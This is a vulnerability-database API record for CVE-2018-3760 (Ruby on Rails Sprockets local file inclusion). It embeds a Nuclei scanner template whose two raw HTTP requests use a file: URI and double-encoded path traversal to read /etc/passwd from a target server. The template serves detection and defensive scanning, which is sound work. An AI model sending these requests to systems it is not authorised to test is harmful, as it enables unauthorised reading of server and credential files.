{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2018-3760/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2018-3760/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2018-3760/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2018-3760/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2018-3760/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2018-3760"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2018-3760"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2018/CVE-2018-3760.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2018-3760\n\ninfo:\n  name: Ruby On Rails - Local File Inclusion\n  author: 0xrudra,pikpikcu,diedromeo\n  severity: high\n  description: |\n    Ruby On Rails is vulnerable to local file inclusion caused by secondary decoding in Sprockets 3.7.1 and lower versions. An attacker can use %252e%252e/ to access the root directory and read or execute any file on the target server.\n  impact: |\n    This vulnerability can lead to unauthorized access to sensitive files and information stored on the server.\n  remediation: |\n    Apply the latest security patches and updates for Ruby On Rails framework to fix the Local File Inclusion vulnerability.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2018-3760\n    - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf\n    - https://seclists.org/oss-sec/2018/q2/210\n    - https://xz.aliyun.com/t/2542\n    - https://nvd.nist.gov/vuln/detail/CVE-2018-3760\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2018-3760\n    cwe-id: CWE-200,CWE-22\n    epss-score: 0.26717\n    epss-percentile: 0.97937\n    cpe: cpe:2.3:a:redhat:cloudforms:4.5:*:*:*:*:*:*:*\n  metadata:\n    max-request: 2\n    vendor: redhat\n    product: cloudforms\n  tags: cve2018,cve,rails,lfi,ruby,vulhub,seclists,redhat,vkev,vuln\n\nflow: |\n  http(\"leak\") && http(\"exploit\")\n\nhttp:\n  - id: leak\n    raw:\n      - |\n        GET /assets/file:%2f%2f/etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    disable-path-automerge: true\n\n    matchers:\n      - type: word\n        words:\n          - \"is no longer under a load path\"\n\n    extractors:\n      - type: regex\n        name: path\n        group: 1\n        regex:\n          - \"/etc/passwd is no longer under a load path: (.*?),\"\n        internal: true\n        part: body\n\n  - id: exploit\n    raw:\n      - |\n        GET /assets/file:%2f%2f{{path}}/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    disable-path-automerge: true\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a004730450221008caf08ecef89852b4ff798615de6063f1aa9b63172050420f7d26d2c0a2adfe602204875efaaf6085e626aca6d8de9c03f2d04897685a45aed9582a0a565fe80e4c3:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2018-3760"
}